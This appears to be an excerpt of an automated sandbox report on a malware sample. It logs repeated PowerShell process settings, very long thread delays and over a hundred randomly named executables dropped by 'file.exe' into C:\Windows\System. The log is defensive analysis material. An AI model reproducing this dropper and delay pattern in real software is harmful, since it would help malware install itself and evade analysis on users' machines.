Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6117
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3630

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\HUohYxb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\kYjPKaN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\RcAqfwv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\StIsyPE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\PaGFrFU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\MydOwjq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\OpMgkKg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\HKdVaSy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\WOvgLKK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\FgiIXgf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\NyhRMmW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\rgBmwKj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\QdDnaqt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\BpqsHCR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\gKbbPbF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\kFAVWnk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\xsirwHn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\XWzPvUm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\roZGxps.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\SAfbgcC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\wkIkkhX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\UQkDiSP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ffPPQcz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\AQSffhY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\uRBSbtU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\cVJdttA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\VLekFWd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\CpMhLMx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\FGUHzJz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\YYCxOQh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\rYIlnZs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\BwBweqn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\dCnJkoQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\NuxBytj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\gXwIlxx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\pzbELEW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\HNocQDn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ftWkAMN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\nJFWveO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\qdErmhf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\rfpCYxf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\xZqqKxJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\HEPcUok.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\rQJmlSe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\UiAsnNy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\fXSZuyj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ArNQyZf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\qQyXqOp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\fIqTNJz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\hAjIjRa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\rDRaLhy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\WlVmTit.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\UyqOZIb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\xAzCYwU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\eXUokzg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\rTrjeti.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\IpqVIyY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\AONeoTK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\RgcKJVt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\oUGjnOU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\bymvMyH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\gPTriDK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\BwjWQVv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\snZBbmy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\XBXKJRi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\KEULPTl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\osHoaGO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\eQlnkhq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\mgbtojr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\Uvtpjkd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\UmvuxvA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\NLJeLdM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\LNyWtrn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ORmCcsC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\xneUGSK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ZlvPlxy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\KVgdAzq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\xVIixqx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\jYFqRXp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\sHbEZkY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\JCZRmvQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\rVmcjTa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\XAgYYqB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\aIuDozC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\DtVOaSb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\RCVCpIi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\WTLAzgJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\IEswIyo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\whRtinB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\IjDqKMU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\mXElbHo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\VgNRTsd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\DbVBXPi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\iEDLgeS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\uaJCfvY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\qmcblFN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\jAqlPqL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ZCyEzte.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ztQluWW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\JKpmIVS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\wibjUVa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\vixYnHG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\GmNUXAr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\IofoOIp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\PPOtBBY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ZohDODH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\tyXEsEa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\CWLRJYu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\HnTfvAZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\delwiax.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\AbenojY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\FUwHkXo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\EkcZQPq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\fylerHE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\mlhNNPN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\vUKZkjM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\yXkrKHV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\VwIvzCk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\pMaKiZu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\BMxbfij.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\OVdNTki.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\VdwdSnC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\fyffsXe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\NVxCwjX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\TscCBWf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\FHjAcHx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\glgdLrR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\wJZTVhW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\gCZFmUf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\pbwrbNh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\HbWODob.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\WVsCsMZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\FgBtrMU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\TBNKhIN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\TQUlNhY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\JUxucoT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\izzcVgF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\YFzrUDj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\bpCJdvZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\lyMiIxb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\VGaSwYr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\veVfAiw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\UlGsoAn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\HVhldsH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ZPBkGsL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ZXNyiNu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\sGYPztO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\uSdaSKW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\eIXgzbs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\YHgRCCe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\YnfMwga.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\yzVBTwc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\chBMsUn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\UExJWUr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\EMuPVcI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\PLFTiIe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\wpjxcMS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\LOvnxUx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\EDndQMl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\wCJLXKb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\ABievJY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\sXBohAC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\OyxgWny.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\fhxlOMT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\mPNsbfH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\bxBimDh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\WZkiNdG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\MKAkyBP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\PrFZfUv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Windows\System\BNgUfBr.exe	Jump to dropped file
